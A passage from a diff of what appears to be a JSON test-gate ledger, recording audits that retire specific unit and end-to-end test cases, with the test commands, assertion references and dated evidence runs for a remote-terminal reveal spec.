authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): The main IPC contract test subscribes terminal.multiplex through the real handler, disconnects the environment, and asserts the renderer received exactly one {type: close} subscription event. Two isolation tests subscribe a second stream to the same environment and make the first one fail -- in its socket close, and in the liveness probe inside notifyClosed -- then assert the disconnect does not throw, both transports closed, and every close the renderer could still receive was delivered. A third drives a host-initiated close through the transport callback, which is the one notifyClosed call site with no surrounding guard, with a renderer send that throws, and asserts it cannot escape into the WebSocket close handler. A fourth test asserts that after retirement a late response frame is not forwarded and a late transport close does not re-send. The paired-server journey runs three reveal scenarios against one real host and one real paired desktop client, and for each records buffer restore, host-side receipt of the typed marker through an out-of-band host sink file, live paint without a tab flip, and PTY-versus-pane grid convergence.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts", - "pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": ["tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts", - "assertions": [ - "a revealed hidden-but-mounted remote terminal restores, accepts input, and paints live", - "a revealed cold-parked remote terminal restores, accepts input, and paints live", - "a cold-parked remote terminal revealed after a runtime disconnect and reconnect restores, accepts input, and paints live", - "the host PTY grid converges on the revealed pane grid in every scenario" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-03", - "runner": "local", - "platform": "macos", - "command": "pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 15.5, - "summary": "All three reveal scenarios restored their buffer, delivered typed input to the host PTY, painted live without a tab flip, and converged the PTY on the 135x60 pane grid. Before the fix the reconnect-parked scenario stayed blank at recoveryState connecting with the PTY stranded at the host 128x60 grid." - }, - { - "date": "2026-08-03", - "runner": "local", - "platform": "macos", - "command": "pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 15.5, - "summary": "Repeat run on a clean uninstrumented build; all three scenarios green with identical grids." - }, - { - "date": "2026-08-03", - "runner": "local", - "platform": "macos", - "command": "pnpm exec playwright test tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 14.7, - "summary": "Third consecutive pass after the review follow-ups (env save/restore and the hidden-mounted stayed-mounted assertion)." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case 